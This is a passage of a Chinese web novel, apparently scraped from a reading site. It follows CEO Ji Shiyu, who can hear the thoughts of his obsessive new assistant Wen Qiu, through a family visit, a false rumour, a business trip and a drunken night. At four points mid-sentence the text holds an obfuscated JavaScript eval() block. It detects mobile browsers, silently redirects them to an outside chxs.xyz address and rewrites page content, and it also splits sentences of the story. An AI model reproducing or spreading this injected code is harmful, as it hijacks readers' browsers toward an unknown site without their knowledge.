老太太走得早,闫舅舅和闫老爷子住在同一个院子里,他到了闫家,跟一众人打过招呼,看了一圈没发现老爷子的身影,正疑惑着,听到外面熟悉的笑声,转身回头,看到一个年轻高大的男人扶着闫老爷子走来。 季时昱大步走过去,对那个人颔首一下p,扶住了老爷子,“外公。” 闫老:“前阵子出国见到你妈妈了?” “是,一起吃了顿饭,我爸做的。”季时昱扶着老人家往屋里走。 闫老哼了声:“他倒是对自己的厨艺有信心。” 季时昱:“所以才能追到我妈。” 闫老笑意更甚,拉着季时昱坐下,想到什么问什么。 季时昱耐心回应着老人家的问题。 中午吃饭时,一家人聚在一起,表姐是前不久刚调回A市的,大部分话题集中在她身上。 下午四点多,季时昱该走了,表哥送他出门,在他上车前说:“晋垣要是有什么难处,你及时通知我。” 季时昱说了声好,随后开车离开。 转眼间到了元旦,季忱的爸妈在外地出差没能回来,季家在今年这个节日过得非常清净。 季时昱在当天下午回了老宅,看到了坐在沙发上的闻湫。他在门口停顿片刻,听到老太太的声音,迈开步子走过去。 “奶奶,爷爷和季忱呢?” 老太太:“你爷爷的电脑出了点小问题,季忱上楼帮忙修理去了。” 季时昱微微颔首,坐在另一边的单人沙发上,侧头看着电视上播报的财经新闻。 闻湫原本和老太太坐在一起,见状往他所在的方向挪了挪,“昱哥。” 季时昱看他一眼,好像在问,你为什么在这儿? 老太太看在眼里,笑容慈祥道:“是我喊他来的,这种日子就该热热闹闹的,他孤零零的待在出租屋多冷清啊。” 季时昱没吭声。 闻湫看出季时昱不想和他多说,心里扭曲了一下,偏头看向老太太,不过刹那,眼尾泛起微红,低落道:“是啊,我以前一直一个人,哪怕是在S市,我也很难见到我爸妈,好久没有热热闹闹的过节日了,连我哥哥姐姐都不怎么管我,我和我哥的关系特别差。” 闻湫抬手抹泪,“奶奶,您对我真好,我以后可以经常来看您吗?” 老太太哎呦一声,心软道:“你想来就来,我们家永远欢迎你, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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季时昱忽然想起闻湫昨天晚上发来的一条消息,问他是不是和别人交往了。 他当时跟关秘书聊着事情,看到上面弹出来的消息,皱了下眉,再点进去发现闻湫把消息撤回了。 “闻湫亲口跟你说,他暗恋的人有对象了?”季时昱问季忱。 季忱:“是啊,他气得把手机都砸了,我第一次见他那么火大。” 季时昱:“他从哪儿听说的?” “我怎么知道,我又不认识他喜欢的人。”季忱忽然坐直,“哥,说起来,我今天还听到了关于你的事,有人说你金屋藏娇,前阵子把人带回来见家长了,好多人说你现在好事将近。” 季忱笑了几声:“外面那些人真会瞎传,你要是带对象见家长,我这个做弟弟的能不知道?” 季时昱不语。 到底是谁传的,怎么能离谱成这样。 16. 金屋藏娇 季时昱当晚得知了传言是怎么回事儿。 前阵子有人亲眼看到他带人回老宅过夜了,以前还见过那个人从他公寓里出来,所以才有了金屋藏娇的说法。 他心底有了个猜测,为了确定事情的真相,次日中午去拜访了‘传谣’的那位长辈。 他带着礼,对方笑着收下,道:“是季老先生让你来的吗?” 季时昱摇头,“最近听到了一些关于我自己的传言,想找您来问个清楚。” “传言?”年过半百的男人有些诧异,回想了一下,沉吟道:“你说的是你带人回老宅见家长的事?” “对,我想问一下您是哪天看到的。”季时昱语气淡漠,听出不任何多余的情绪。 中年男人皱起眉,没有忘了那天的事儿,如实说:“圣诞节那天晚上,我打算去找季老先生商量点事儿,没想到在外面看到了那一幕,我怕打扰你们,就先走了,第二天中午又去找了季老先生。” 季时昱眼底划过了然,问:“我听说您看到过有人从我公寓里出来。” 中年男人恍然道:“那是我儿子看到的,他住在你对面。” 话说到此,季时昱知道了全部真相。 他那套房子租给了闻湫,圣诞节那晚闻湫送他回去,后面不知道为何在老宅住了下来,他猜测应该是季忱把人留下的,没想到闹了个大乌龙。 “难道是我猜错了,他不是你的交往对象?”中年男人惊奇问。 “不是,他是季忱的朋友。”季时昱淡声解释。 男人惭愧地哎呦一声,拍了拍大腿,“我前两天跟你秦叔他们出去说了这事儿,我们聊着玩的,没想到会传出去,还闹了个误会,真是对不住,要不我找人把事情的真相说出去?” 这种事若不追问具体‘带人回老宅’的日期和‘金屋藏娇’的公寓,正常情况下很容易半信半疑。 “传都传了,是真是假别人可以自己判定。”季时昱更想知道闻湫会不会查清楚真相,可以通过这件事来试探一下闻湫在A市的人脉。 离开时,中年男人送他到门口,“这次的事是我误会了,上次还麻烦季老先生帮忙,我真是欠季家一个人情,如果季总以后有任何需要,可以随时告诉我。” 季时昱点头,没把他的话放在心上。 时间一晃而过,A大放假那天,A市上空中飘起了细小的雪花。 闻湫的电话打来时,季时昱正在开会。 桌上的手机震个不停,前面讲话的人忽然停下,疑惑又忐忑地看着对面的人。 季时昱把手机关机,“继续。” 前面的人接着讲。 会议在一个多小时后才结束,季时昱等所有人离开,把手机开机看了一眼,六个未接电话,其中有四个是季忱打来的。 他给季忱回电话,那边接的很快。 “我的哥啊,你终于接电话了!” “有事?”季时昱把桌上的文件合上。 季忱:“是这样的,你之前不是说好了等寒假让闻湫去你那里实习吗,我们今天刚放假,他想问一下明天能不能去你那里。” 季时昱:“明天上午九点,不能迟到,其余的我跟关秘书交代好了。” 季忱声音放轻:“哥,你是不是不太喜欢闻湫?” 季时昱拧眉,“谁告诉你的?” 季忱:“没人告诉我,我瞎猜的,先挂了!” 季时昱猜到了这个问题是替谁问的。 A大校门口。 季忱跟闻湫如实说完,想到自己的感情进度,暗自抹了把辛酸泪,那可是闻湫表姐的好朋友啊,虽然关系不近,但好歹有层关系。 他刚开始的确把闻湫当成个普通朋友,后来闻湫帮了他那么多,普通朋友自然而然变成了好兄弟。 “别多想了,如果我哥真讨厌你,一开始不会松口让你进季氏的。”季忱说。 “没多想。”闻湫眼里蒙了层阴翳。 季忱以为他是在为失恋的事感到难过,叹声气:“想开点吧,说不定你喜欢的人哪天分手了呢,而且你是听说,又没有亲眼看到。” 闻湫沉默半晌,垂下眼,嘴边挂着一丝诡谲地笑,“你说得对。” 季忱看他这样,不自觉打了个寒颤,心想失恋的人真可怕。 . 季时昱原本还有位秘书,是季老爷子挑选的,但那个人跟其他高层走得太近了,以前还和季帆嵘频繁走动过一段时间,季时昱不太信任他,给他安排了其他不错的职位,想等年后再招聘一位秘书。 季时昱很早就不打算招聘助理了,闻湫的到来没有抢占任何人的位置。 关秘书昨天专门问过安排闻湫做什么事,在他来看,还在上大一的闻湫太小了,能够直接任职这么重要的职位,或许是季总的亲戚,不能安排太难的事。 季时昱听了后,说:“正常来,不用顾及他年纪小。” 如果闻湫连这些能力都没有,那也没必要担任他的秘书。 闻湫任职第一天收获了许多好奇的目光,更多的是不善,职场上没有人喜欢关系户。 仅仅一上午过去,大家因为闻湫丝毫没有减轻的工作量而隐去嘲讽和嫉妒,渐渐地没人会在背地里说闲话了。 闻湫除了早上见过季时昱以外,其他时间一直在忙工作。 眼见着到了中午饭的时间,关秘书走到闻湫办公桌前敲了两下,“小闻,一起去食堂吃饭啊。” 闻湫抬眼,态度极好地问:“关秘书,季总中午在哪儿吃?” 关秘书开始以为闻湫是哪家不谙世事的小少爷来这里挂名的,现在对闻湫慢慢改观,说话带了点笑意,“会有固定的私厨来给季总送饭。” “这样啊。”闻湫低声喃喃。 “别傻坐着了,咱们公司食堂的饭很好吃。”关秘书咽了咽口水,“有道特别受欢迎的荤菜,去晚了就没了。” 闻湫应了声,和关秘书一起去了食堂。 办公室内。 季时昱转着笔思考事情,眉宇间透着几分疑惑。他面前的电脑屏幕上显示着视频通话,视频里的另一个人开口说了句话。 他微微颔首:“你的意见我会考虑,三天后给你答复。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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季时昱没有错过闻湫那一瞬间的失态,垂目沉思了许久,对司机说了个地址。 黑色商务车缓缓离开,楼里走出来一个人。 闻湫紧盯着车辆离开的方向,眼神再也没有任何掩饰,刚下班回来的人看到他站在那里,下意识绕开他走。 他没理会别人的目光,拿出手机,长按开机,点开通讯录翻联系人。 闻湫不喜欢动用家里的关系帮忙调查,但这次靠自己在A市少有的人脉查了很久,始终没有查到那个人是谁。 他以为是假的,可是季时昱没有否认。现在他非常嫉妒,到底是谁让季时昱金屋藏娇了! 闻湫翻了很久,在手机里翻到个眼熟的名字,调整好情绪,手指按下去,在那边接通后,先礼貌问了好。 17. 我很乖的 清晨,空中飘着丝丝细雨,气温对比昨天冷了好几个度。 季时昱往办公室走,看到了正在跟关秘书询问问题的闻湫。他路过时,闻湫抬起头,笑着打招呼:“季总早上好。” 闻湫的目光格外有神,带了几分兴奋的炽热,像是在蜜罐子里泡了一晚,一举一动都透露着心情好。 季时昱顿时明白他查清楚了那件事。 昨天下午还不知道,现在就清楚了一切,闻湫所掌握的人脉很广,或许是他单方面的人脉,或许是借用闻家的关系。唯一确定的是,闻湫想在A市打听什么事轻而易举。 关秘书听到闻湫的声音,回过头,“季总。” 季时昱点头,从他们身边路过,走向了办公室。 关秘书合上文件夹,“小闻,你今天心情挺不错的,遇到什么好事了?” 闻湫:“没有,只是太开心能来季氏工作了。” 关秘书把这当作小孩子初入社会的激动,笑了笑,没说风凉话。 闻湫没有在意关秘书怎么看他的,他就是很开心,从昨天得知那个谣言是怎么传出来的之后,他的心情一直处于一个极度亢奋的程度。 季时昱没有金屋藏娇,没有带人见家长。谣言是假的,但谣言的另一个主人公是他自己,在别人口中,他是季时昱的男朋友。 真相让闻湫心里堆积的阴霾扫清。季时昱肯定早就知道了,这是不是说明,季时昱并不反感跟他扯上关系。 他每想到此,心脏就一阵悸动。 季时昱和往常一样待在办公室处理工作,闻湫会偶尔进来送文件,他们在这期间没有其他交流。 快下班时,关秘书敲响了办公室的门。 “进。” “季总,机票是明天上午十点半的,到时候那边会安排人在机场等待。”关秘书说罢,开始汇报其他工作进度,全部说完,又道:“不过我可能没办法跟您一起。” 季时昱:“有事?” “我爸住院了,我得去照顾他。”关秘书没说请假的事。 季时昱看向他,“怎么不请假?” 关秘书:“我哥和我妹妹都在A市,我负责下班后看守前半夜,不会耽误工作。” “别把自己逼太紧,忙不过来就请假。”季时昱不会劝别人怎么安排事情。 关秘书应了声,踌躇道:“季总,我觉得闻湫的能力不错,态度挺认真的,不如让他陪您去,这对他来说也是个不错的学习机会。” 季时昱没着急说话。 “多个人能帮您分担一下,”关秘书跟季时昱共事久了,说话还算直白,“那边有位高层跟嵘总关系不错,他还喜欢在饭桌上灌酒,以防万一,闻湫可以照顾您。” 先不说对方敢不敢灌酒,到时候肯定会借题发挥劝着喝一点,最关键的是季时昱酒量不行。 关秘书能考虑到的,季时昱同样能想到,但是这次出行基本上要每天待在一起。 关秘书见他不说话,知道他在考虑,道:“您接着忙,我先出去了。” 季时昱单独待了一会儿,手机铃声响了,看到是岳裎打来的,拿起接通,“找我什么事?” “闻湫去你那里了?”岳裎问。 季时昱轻“嗯”一声,“昨天来的。” 岳裎笑道:“他表现如何,能不能让你满意?” 季时昱给了个中规中矩的评价:“还行。” 岳裎:“你嘴里的还行可不是一般人能达到的,看来我这个表弟能力不错。” “你打电话就为了问这个?”季时昱右手握着鼠标,往下滑着电脑文件上面的数据单。 岳裎咳一声清清嗓子:“是这样的,闻湫太腼腆了,性格又好,看着一副软弱可欺的样子,他一个大学生却成了你助理,我担心他因此受欺负,你可得看着点儿。” 季时昱很想告诉岳裎,闻湫性格一点都不腼腆,更不是随便能让人欺负的模样,但他知道岳裎只相信自己看到的。 他无奈叹口气,“知道了,没其他事挂了。” 岳裎急忙道:“等等你先别挂,再和你说点事儿。” 季时昱起身,拿着手机走到落地窗前:“你说。” “我那个八杆子打不着的姨妈,就是闻湫他妈妈,昨天问我,为什么闻湫今年不回家过年了。”岳裎轻叹一声:“闻湫跟家里关系再不好,也得回家过年啊,我本来打算今晚去找他谈谈,但临时有急事,既然他在你那里,你帮我问一下吧,这小孩怎么大学了还在叛逆期啊。” 季时昱皱了下眉:“行,我知道了。” 办公室外。 关秘书穿好外套,“小闻,下班了就停下吧,这些又不着急。” 闻湫笑了笑,“我快忙完了。” “别太压榨自己,19岁的小伙子呢,说不定还能再长点个子。”关秘书一心想着医院里的老父亲,拿着手机急匆匆离开,没注意身后的人。 季时昱听到了关秘书的话,想到闻湫站起来的高度,微不可察地摇了下头。 那么高的人,不用再长了。 闻湫不经意扭头看到他,有些惊讶,下意识站起来,“季总。” 季时昱打量了一下他的身高,想起正事,迈开脚步往前走,“别忙了,跟我来。” 闻湫没问去哪里,非常配合的拿着外套追过去。 季时昱进了电梯,闻湫穿好外套站在他身边。 电梯门缓缓合上,没有其他人进来。 【哥哥要带我去哪儿?】 季时昱:“你之前说,今年不回家过年,是真的?” 闻湫:“是真的。” 【问这个干嘛,怎么不问我有没有查清楚金屋藏娇的事。】 季时昱:“能告诉我不回去的原因吗?” 闻湫张了张嘴,没吭声。 【与其回去被他们说教,不如一个人待在A市,况且,我爸应该不想看到我。】 季时昱盯着显示电梯楼层的那块屏幕,“岳裎打电话跟我说,你妈妈很希望你回去过年。” 电梯里静了下来。 闻湫还是没有说话,心里的声音给了季时昱答案。 【当初是他们让我滚的,现在又想让我回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814612|158654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,哪有那么容易。】 电梯到了停车场,季时昱往外走,说:“我不会试图改变你的想法,你想在哪儿过年是你的自由,岳裎还在等你的答案,你晚点儿自己告诉他。” 闻湫抬起脚步跟在他身后。 路上。 闻湫坐在副驾,车窗开了一条缝隙,寒风不断打在脑门上,不知道吹了多久,他说:“昱哥,我不是要和我家里人反着来,我平常很听话的。” 忽然想起季时昱喜欢乖的,他不回家的举动不太好。 季时昱专心开着车,不知道有没有信他的话。 闻湫关了车窗,坐直身体,着急道:“真的,我很乖的。” 【哥哥快理理我啊,我刚刚怎么就忘记乖乖男人设了。】 【回家过年就回家过年啊,回去挨几句教训又不会死,要是哥哥对我的印象不好了,我真的会后悔死的。】 闻湫迟迟不见季时昱说话,后面的心声到了一个有些偏执的地步,仿佛听不到季时昱的回答就不会停歇。 “我知道你乖,别说话了,让我专心开车。”季时昱安抚他一句。 闻湫内心的躁动被抚平了,但却有个疑问。 【我好像没说几句话啊。】 季时昱的睫毛不动声色地颤了颤。 这时,关秘书的电话打来了,他戴上耳机接听。 “季总,赵哥十分钟前没能联系上您,他电话打我这儿来了,说是明天上午有点急事,想跟您请假一天,没办法送您去机场了。”关秘书口中的赵哥是季时昱的司机。 季时昱开着车,没机会看手机,“我知道了。” 关秘书:“明天上午我送您吧。” 他淡声说:“不用,我自己开车去。”把车停在停车场,回来那天不用再让人去接了,这样挺方便的。 关秘书:“闻湫的事您考虑的怎么样了,他有驾照,到时候还能帮您开车。” 季时昱:“没想好,明天再说。” 挂了电话,停下车等待前面的红绿灯。 闻湫没有听到关秘书的声音,通过季时昱单方面的话隐约能猜到什么事,眼底深处划过一抹暗光。等车开了,他问:“昱哥,我们去哪儿啊?” 季时昱:“送你回去。” 闻湫点着头“哦”了一声。 季时昱先送闻湫回去,自己回去时天已经快黑了。 他看了眼手机的未接电话,三个都是司机赵屈的,回拨了电话,同意了明天请假的事。 夜里,季时昱一个人收拾行李,接到了闻湫的微信语音电话。 手机话筒里,闻湫喊他昱哥,先问他有没有吃晚饭,得到肯定后又问:“我听说你明天要一个人去国外出差,会不会忙不过来啊?” “不会。”季时昱猜到了闻湫的目的。 “我能一起去吗,大家都说这是个很好的机会,我想跟着学习一下。”闻湫保证道:“我不会打扰你的,你让我往东我绝不往西。” 闻湫不在乎这个机会有多好,他就是想跟在季时昱身边,想随时随地见到季时昱,仅此而已。 18. 一起出差 季时昱轻而易举猜透了闻湫的想法,这次出差要办很多事,只凭他一个人会忙不过来,他不喜欢在工作上出差错,便同意了闻湫的请求。 “可以,明早九点,我去接你。” “谢谢昱哥,我一定……” 耳畔的声音突然消失,他看了眼手机,发现电话挂了。 城市的另一边,闻湫看着电量耗尽的手机,不耐啧了声,起身去屋里拿充电器。 次日上午,季时昱开车去接闻湫,路上堵车,他们的时间有点赶,闻湫在车上临时处理工作,二人在车上没有太多交流。 季时昱好几次察觉到闻湫投来的目光,如滑腻湿冷的蛇身爬过每一寸肌肤,所到之处泛起轻微的凉意,等他回望过去,只能看到闻湫抱着电脑工作的画面。 每次回头,闻湫都在被抓包的刺激边缘徘徊。 【哥哥好敏锐哦,差点就被发现了。】 季时昱嘴唇微抿,有读心术在,他不回头也知道闻湫在看他。 登上飞机,他们待在头等舱,闻湫的位置在季时昱后面,有座椅靠背隔着,视线全被挡住,但季时昱知道闻湫还在看着他。 不知何时起,他适应了这种目光,或许是知道闻湫仅仅是想一想,不会做什么。 抵达目的地后,季时昱带闻湫去了提前订好的酒店,关秘书那间房还没退。 “昱哥,我有事可以随时找你吗?”闻湫拿着房卡,乌黑的眸子发着亮光,眼神专注盯着他看。 季时昱别开脸,“最好是工作的事。” 闻湫点头:“嗯嗯!” 他们在酒店歇了一会儿,到了下午,季时昱安排人送来了一辆车。 “我晚上不回酒店,你自己回来,你那间房订了半个月。”季时昱开车带闻湫去分部,算是带他认一遍路,“这辆车交给你,我房子那边还有一辆。” 他晚上会去在这个城市购置的住宅里居住,那里的东西比较齐全,提前一天找家政打扫了卫生。 “我们不住一起吗?”闻湫跟着来就是不想分开。 季时昱:“关秘书没那么多问题。” 闻湫闭上嘴巴。 【为什么不能住一起啊,我又不会吃了哥哥,我得想个办法。】 季时昱有点好奇他会想什么办法。 早在季时昱刚成为季氏CEO的时候,分部这边就所有不满,不是不认同能力,而是看不惯年轻人站在自己前面,再加上这里有位高层是季帆嵘的好友,在这段时间里,季帆嵘没少煽风点火。 他们到了分部后,接待他们的人脸上挂着职业假笑,眼中有打探亦有不屑。 据他们所知,这位季总不过是个空架子罢了,以前在他手里的大项目都是董事长和嵘总在背后指点的,跟这位季总可没多少关系,谁知道季总居然踩着别人的心血升上去了,真是令人气愤。 季时昱将每个人的表情看在眼里,眼底多了分令人琢磨不透的笑,绝不是善意的笑。 别人以为他来示威的,实则不然,他这次来,暗地里考察之后要辞退部分员工,有人往枪口上撞,他当然要给这个机会了。 季时昱在众人的簇拥下来到一间办公室,手机里迅速多了几条消息,上面是这边几位高层的真实能力调查结果,其中包括不好摆到明面上说的脏事。 季老爷子年轻时雷厉风行,到了季任烽这一代没什么能力,季老尚且有能力镇住国内的人,但国外太远了,大部分时候有心无力。久而久之,分部各方面的业绩也是没眼看,全靠总部吊着一条命。 季时昱这次出差是一个月前安排好的,目的就是为了斩除这里的寄生虫。他没有把别人的态度放在心上,但有人放在心上了。 闻湫站在季时昱视线之外,冷眼看着刚关上的那扇门,语气没有泄露心中的阴暗:“他们一直这样?” 即便看不惯,却没有问“为什么不给他们一个教训”这类问题,他知道季时昱有能力解决。 “闲散惯了,不过好日子快到头了。”季时昱眼底没有多少波澜,拿出手机,把上面劣迹斑斑的情况全部发给了老爷子。 公司内部几乎被关系户霸占,哪怕是一个小小的保安都是某位总监的侄子。 去年有位靠自己实力拼上来的总监,因为说了句重话得罪某位高层,往后的日子里被各种针对,忍了半年之久,终于在今年三月份辞职离开。 季时昱看着调查结果,眉头紧皱,真正有能力的反倒被无能的人赶走了,分部搞成这样真够丢人的。 季帆嵘和他那个高层朋友走那么近,一定知道这里的情况,却没有告诉老爷子,打的什么心思没人清楚。 闻湫安静坐在茶几桌旁,在心里给那些人默默记了一笔账。 临到傍晚,有三位高层一起邀请季时昱共度晚餐,其中就有季帆嵘的朋友齐远骏,其中只有他是华国人。 他们没有去外面,而是去了齐远骏的家里,齐远骏家中雇了个会中餐的厨师,今晚这桌的菜有一大半都是中餐,这份招待勉强算用心。 情况如关秘书所 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他作为没有沾酒的人,看向脸颊绯红的闻湫,问:“还能走吗?” 闻湫怔怔看着他,缓慢摇头,整个人迟钝了许多。 季时昱亲自扶着他离开。 纵容过头了,所有人都醉得不像话。 季时昱没办法对闻湫不管不问,扶着人到了车上,没能掰开闻湫的手,尝试几次依旧无果。 他眼神复杂,说出的话如哄小孩似的:“松开,不然把你扔下去。” 闻湫睁着满是醉意双眼,眼圈被酒精熏得微红。不管他怎么问,始终失神望着他,手指紧紧抓着他的胳膊不肯松手。 季时昱没办法,只好先让司机送他们去酒店。 黑色车辆快速行驶在车少的道路上,闻湫紧紧抱着季时昱的胳膊,脑袋靠着他的肩膀,姿态亲昵黏人。 前面转弯过急,导致闻湫滑到了季时昱怀里,手可算松开了。 季时昱低下头,他眼睛极累,刚摘了眼镜没有戴上,车里漆黑一片,什么都看不清,想把人推开,手又被抓住了。 闻湫醉醺醺的,低声喃喃着什么。 他没听清,胳膊挣了几下无果,干脆任由醉酒的人扣住手指。 行驶了大半路,他衣兜里的手机响了,右手被抓着抽不出来,只能用左手拿出来,滑动接通,安静听着电话另一边的人汇报情况。 忽然间,他被闻湫扣住的那只手抖了下,瞳孔骤然紧缩。 19. 太幼稚了 季时昱的食指指关节处被牙齿轻轻咬着,在他手抖之后,齿尖松开,柔软的触感贴着手指,指尖清晰感受到呼出的温热鼻息,食指那抹触感正在一点点的往其他手指上移动。 食指到中指再到无名指。 闻湫……在亲他的手! 意识到这一点的季时昱呼吸放轻,心脏直接漏了一拍。 手指上炙热的吻越发清晰,柔软温暖的唇瓣扫着冰凉的手指,很轻很轻,他感受到了几分难言的舒适。 车里太安静了,他听到了自己剧烈的心跳声,低下头,依旧看不清什么。他被亲过的手指一点点蜷起来,挣扎几次还是无果,闻湫死死攥着他的手,力气大到令人吃惊。 前面有车挡了路,司机按了按喇叭。 嘀嘀——! 季时昱抬起眼,猛地用力把手抽了出来,闻湫枕在他腿上,头动了动,往他怀里钻了两下。 他扭脸看向车外漆黑的夜,脸上烧了起来,整个人热得不像话。 快到酒店时,季时昱眼神冷静了许多,拉起闻湫,准备等着把人架下车,谁知手又被抓住了。 直到车停下,闻湫紧紧抓着他的手不松开,季时昱尝试掰了几次都没用,他垂目沉思片刻,让司机开车去自己住宅那里。 到了地方,他动作粗鲁地架着闻湫来到客房,将人放到床上,这次轻轻松松把扣着他手指的那只手掰开了。 “……” 所以闻湫的办法就是装醉不松手。 太幼稚了。 季时昱站在床边,默默盯着床上的人,醉意的绯红蔓延到脖颈,想起今晚那些走不成路的老家伙,眼睫敛住的眸光令人难以琢磨。 他随便扯着被子一角盖在闻湫身上就走了。 木门轻轻关上,床上的人慢慢有了动作。 闻湫翻了个身,睁开亮到惊人的眼睛,摸了摸自己的嘴巴,又将手指放在鼻尖轻轻嗅着。 季时昱去卫生间洗手,炽热的吮吻停留在手指上消散不了。他看着镜中眼神不明的人,冲过凉水的手指还在发热。 清晨。 季时昱走出卧室,听到厨房细微的动静,随着声音的方向走过去,看到外面的餐桌上摆好了早餐。 培根、煎蛋、吐司各摆在不同的餐盘中,桌上分别放着一瓶果酱和一瓶颜色有些发绿的酱汁,还有一小罐解腻的酸黄瓜。 他往厨房看去,闻湫端起热好的牛奶转过身,看到他后,眼底露出笑意。 “昱哥,你醒啦。”闻湫端着牛奶从厨房走出来,“刚好可以吃早餐了,我看冰箱里只有这些,不然还可以再做丰盛一点。” 季时昱拉开餐桌的椅子坐下。 闻湫坐下,观察了一下季时昱的脸色,小心翼翼道,“昱哥,谢谢你昨晚带我过来,不然我就要留宿街头了。” 他眼角微微下垂着,说话的时候略有可怜。 季时昱不爱喝牛奶,端起桌上倒好的温水抿了一口,“留宿街头?” “我感觉那家酒店的卫生不太好,白天退房了,下午没来得及订酒店。”闻湫眉头轻蹙,眼神祈求,“昱哥,你能不能收留我啊,我会做饭,你想吃什么我都可以为你做。” 季时昱不语,抬手去拿吐司。 闻湫把盘子拉走,“我来帮你。” 季时昱抬眸看他。 闻湫拧开那瓶看不出是什么的酱,拿起一片吐司,用勺子挖了适量酱抹上去,再拿筷子夹起煎蛋、培根依次放到吐司上面。 季时昱无声看着对面的操作。 盘中的培根煎得焦香冒油,煎蛋带着点流心状态,火候掌握得不错。 他看着递过来的三明治,没有接,“你平时要工作,公司和住宅附近没有采购食材的超市,做中餐的食材需要开很远的地点购买,整个过程太耗费时间了,你确定要这样?” 闻湫把三明治放到餐盘上,又将餐盘推到对面,说:“我能合理安排我的时间,不会耽误工作,更不会耽误你用餐,昱哥让我试试好不好?” “今天中午时间太赶了,你从晚餐开始,薪水我会另结给你。”季时昱知道自己应该拒绝,但是不想委屈了挑剔的味蕾。 闻湫摇了摇头,说得有理有据:“我不要薪水,我不是你助理吗,助理本来就应该照顾你的生活。” 生活助理都没闻湫做得多。 “不要薪水就不用给我做饭了。”季时昱不是黑心资本家,用不着去坑大学生做苦力。 闻湫连忙道:“那我要,我要就是了。” 车库里有一辆车,出门前,季时昱问闻湫认不认得路。 “我昨晚回来的路上睡着了,不认得附近的路。”闻湫快速扫了眼季时昱,“我可以导航,公司附近的路我都认得。” 季时昱没拆穿他装睡的谎言,把车钥匙丢给他,嗓音清冷:“这几天你来开车。” 他们一前一后上了车,车门关好,季时昱看闻湫张嘴说着工作上的事,毫不意外地听到了那道突兀的心声。 【做饭开车都包揽在我身上,这样就没有人能打扰我和哥哥相处了,真好。】 公司分部的氛围有点不对,高层开了一上午的会,齐远骏出来的时候脸色很不好看,恰巧有个新人不小心撞到人,被狠狠训斥了一通。 新人知道齐远骏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814614|158654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好惹,忐忑等着坏消息,却只等来某总监和齐远骏勾结挪用公款、账务造假的事。 余下两位高层陷入了恐慌,临到傍晚,有人想邀请季时昱去他家享用晚餐。 “不好意思,季总在里面开会。”闻湫挡在办公室门外,阻拦了昨晚刚一起喝过酒的人。 “麻烦闻助理待会儿转告一声。”来的人颓败离开,愁得唉声叹气。 闻湫双臂环抱,懒散站在门外,撇了眼路过的某位总监,眼底冷意乍现。 办公室内。 季时昱低头念着名单,电脑屏幕显示着视频会议,包括他在内的一共六人。 会议长达两个小时,季老冷着一张脸,没有说话,却让屏幕里的其他几个人感受到了无形的威压。 “嵘总,如果我没记错的话,齐远骏是您一手提拔的。”说话的人看向屏幕角落的季帆嵘。 季帆嵘怒斥:“金总别血口喷人,我跟齐远骏都多少年没见了,你想拉我下水也不能用这么个法子。” “是吗,我怎么记得他今年还给你送过中秋礼?” “那是他单方面送礼!你连这点小事都查那么清楚,心思不见得有多单纯!” “你……” “我通过警方调取了齐远骏近一年的通话记录。”季时昱抬眼看向屏幕,“各位不妨猜一下他跟谁联系最多。” 所有人不约而同的去看季帆嵘,可惜通过视频很难看出具体的脸色。 这时,季老沉声说:“今天就这样吧,散会!” 季老退出了视频会议,另外三个人相继退出。 季时昱刚有动作,听到季帆嵘着急慌忙道:“季时昱,我们可是一家人,你也信姓金的鬼话?更何况家丑不能外扬,你这样只会让别人看季家的笑话!” 季老走了,其他人都退出了,季帆嵘说话就没大没小的。 季时昱:“信不信讲究证据。” 赶在季帆嵘开口之前,他退出了会议。 这件事不光彩,非要闹到明面上,季帆嵘会损失名声,他最多被诟病不近人情。但人情这种东西要留给有人情的人,而非贪婪自私只顾着自己的人渣。 季时昱合上名单,手机里弹出一条消息,扫到季帆嵘的名字,面无表情地把人拉进了黑名单。 他站起身,拿起身后的外套穿上,走到门前拉开门,看到了守在外面的闻湫。 “想找你的人都被我赶走了。”闻湫如实说道。 季时昱颔首,淡定往外走。 “昱哥,刚刚有个人骂我势利眼,我明明公事公办,他怎么能这么说我。”闻湫跟在他身后,絮叨着自己的委屈。 20. 你喝多了 回去时,闻湫开着车,话不停歇抱怨了一路。 季时昱:“他好日子快到头了。” 闻湫点点头,闭上了嘴巴。 过了一会儿,他又抱怨:“还有人骂我是看门狗,太过分了,怎么能这样骂我,虽然很小声,但我听力好,听得一清二楚。” 季时昱下意识皱眉,闻湫的所作所为都在助理的范围内,是谁骂人这么难听。 【哼,什么看门狗,我明明是哥哥的乖小狗。】 季时昱:“……”他跟不上闻湫的脑回路。 回到住宅,闻湫把车停到车库,问:“昱哥,我昨天喝醉后没有耍酒疯吧?” 